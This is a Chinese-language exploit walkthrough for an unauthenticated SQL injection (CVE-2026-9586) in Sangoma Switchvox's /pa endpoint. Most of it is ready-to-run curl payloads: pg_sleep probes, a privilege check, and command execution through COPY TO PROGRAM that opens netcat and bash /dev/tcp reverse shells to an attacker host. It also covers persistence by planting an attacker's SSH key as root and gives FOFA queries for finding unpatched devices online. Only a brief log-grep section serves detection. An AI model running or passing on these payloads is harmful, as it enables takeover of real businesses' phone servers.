漏洞简介
Sangoma Switchvox SMB Edition 是一款面向中小企业的 VoIP 电话管理系统。CVE-2026-9586 是其中一处未授权 SQL 注入漏洞,攻击者无需任何认证即可通过 /pa 端点发送恶意 XML 请求,将用户可控的 PhoneIP 字段直接拼接进 PostgreSQL 查询语句中。
由于后端 PostgreSQL 用户具有超级用户权限(或拥有 pg_execute_server_program 权限),攻击者可通过 COPY ... TO PROGRAM 语法实现任意命令执行,最终获取服务器 Shell。
影响范围
漏洞原理
漏洞根因
漏洞位于 PhoneAppsHandler.pm 模块的 tel_notify() 函数中。数据流如下:
核心代码流程:
关键问题:
输入未经任何过滤或参数化处理
PostgreSQL 数据库账户拥有超级用户权限
单引号拼接上下文允许闭合后注入任意 SQL
理解漏洞机制
正常请求结构
Switchvox 的 /pa 端点用于处理 IP 电话通知,正常请求格式如下:
POST /pa HTTP/1.1
Host: target.local
Content-Type: application/xml
User-Agent: PolycomSoundPointIP-SPIP_UA
<PolycomIPPhone>
<Menu>
<Title>test</Title>
</Menu>
</PolycomIPPhone>服务端处理流程:
POST Body → pre_cmd() 校验开头是否为 <PolycomIPPhone>
→ tel_notify() 解析 XML 提取 PhoneIP
→ 直接拼接进 SQL 查询(无过滤)
→ PostgreSQL 执行注入原理
服务端执行的 SQL 类似:
SELECT proposed_extension FROM auto_phone_config
WHERE ip_address = 'NORMAL_PHONE_IP';当攻击者控制 PhoneIP 时,可构造:
'正常IP'; DROP TABLE users; --闭合单引号后,追加任意 SQL 语句,最后用 -- 注释掉后续内容。
漏洞复现
准备环境
复现步骤
步骤 1:确认目标可访问
# 探测目标是否在线
curl -v http://target.local/pa预期响应:
返回 200 或 405(Method Not Allowed)→ 端点存在
返回 404 → 可能已修复或路径不同
连接超时 → 防火墙拦截或主机离线
步骤 2:发送正常请求验证端点
curl -X POST http://target.local/pa \
-H "Content-Type: application/xml" \
-H "User-Agent: PolycomSoundPointIP-SPIP_UA" \
-d '<PolycomIPPhone><Menu><Title>test</Title></Menu></PolycomIPPhone>'响应分析:
正常响应:XML 或 HTML 页面(可能是空内容或错误信息)
错误响应:SQL 错误信息 → 可直接确认存在注入
步骤 3:时间盲注探测(核心检测)
使用 pg_sleep() 延迟函数判断是否存在注入:
Payload A:根属性注入
curl -X POST http://target.local/pa \
-H "Content-Type: application/xml" \
-H "User-Agent: PolycomSoundPointIP-SPIP_UA" \
-d '<PolycomIPPhone PhoneIP="10.0.0.1"><Menu><Title>t</Title></Menu></PolycomIPPhone>'记录响应时间(应 < 1秒)
Payload B:注入 pg_sleep
curl -X POST http://target.local/pa \
-H "Content-Type: application/xml" \
-H "User-Agent: PolycomSoundPointIP-SPIP_UA" \
-d '<PolycomIPPhone PhoneIP="10.0.0.1'"'"'; SELECT pg_sleep(3);--"><Menu><Title>t</Title></Menu></PolycomIPPhone>'判断标准:
响应时间 ≥ 3 秒 → 存在漏洞(pg_sleep 执行成功)
响应时间 < 1 秒 → 可能已修复或不存在注入
步骤 4:尝试三种 XML 结构
由于官方公告未披露具体 XML 结构,需逐一测试:
结构 A:根属性
curl -X POST http://target.local/pa \
-H "Content-Type: application/xml" \
-d '<PolycomIPPhone PhoneIP="10.0.0.1'"'"'; SELECT pg_sleep(2);--"><Menu><Title>x</Title></Menu></PolycomIPPhone>'结构 B:RegistrationData 属性
curl -X POST http://target.local/pa \
-H "Content-Type: application/xml" \
-d '<PolycomIPPhone><RegistrationData PhoneIP="10.0.0.1'"'"'; SELECT pg_sleep(2);--"/></PolycomIPPhone>'结构 C:子元素
curl -X POST http://target.local/pa \
-H "Content-Type: application/xml" \
-d '<PolycomIPPhone><PhoneIP>10.0.0.1'"'"'; SELECT pg_sleep(2);--</PhoneIP></PolycomIPPhone>'至少有一种结构会触发延迟响应。
步骤 5:验证数据库用户权限
通过以下 payload 确认 PostgreSQL 是否为 superuser:
curl -X POST http://target.local/pa \
-H "Content-Type: application/xml" \
-d '<PolycomIPPhone PhoneIP="10.0.0.1'"'"'; SELECT current_user, session_user;--"><Menu><Title>x</Title></Menu></PolycomIPPhone>'返回
postgres或switchvox→ 高权限,可执行 RCE
返回普通用户 → RCE 可能受限
步骤 6:远程代码执行
前提条件: PostgreSQL 用户为 superuser 或拥有
pg_execute_server_program
反弹 Shell
# 攻击机监听
nc -lvnp 4444
# 发送 RCE payload
curl -X POST http://target.local/pa \
-H "Content-Type: application/xml" \
-d '<PolycomIPPhone PhoneIP="10.0.0.1'"'"'; COPY (SELECT '') TO PROGRAM '"'"'nc 攻击机IP 4444 -e /bin/bash'"'"';--"><Menu><Title>x</Title></Menu></PolycomIPPhone>'注意: 部分系统 -e 选项不可用,可改用:
# 替代方案:使用 bash -i
...'bash -i >& /dev/tcp/攻击机IP/4444 0>&1'...或者直接用我提供的自动化 PoC 脚本
# 检查模式
python3 exp_switchvox.py check https://target.local/pa
# 批量检测
python3 exp_switchvox.py check targets.txt -o result.json --threads 5
# RCE 模式
python3 exp_switchvox.py exploit https://target.local/pa --cmd 'whoami > /tmp/pwned'利用后验证
检查日志痕迹
查看 /var/log/switchvox/db-quirks.log:
grep -i "COPY.*TO PROGRAM" /var/log/switchvox/db-quirks.log
grep -i "pg_sleep" /var/log/switchvox/db-quirks.log典型日志样本:
SELECT proposed_extension FROM auto_phone_config
WHERE ip_address = '10.0.0.1';
COPY (SELECT '') TO PROGRAM 'nc 10.0.18.42 4444 -e /bin/bash';--'
AND config_state = 'configured'持久化访问
获取 Shell 后可添加 SSH 密钥:
mkdir -p /root/.ssh && echo 'ssh-rsa AAAA... attacker@kali' > /root/.ssh/authorized_keys
chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keysFOFA 语法
识别 Switchvox 设备
app="Sangoma-Switchvox"识别 /pa 端点
body="/pa" && status_code=200组合探测/排除修复了的版本
app="Sangoma-Switchvox" && !header="Server: Sangoma_Switchvox/8.4.0.2"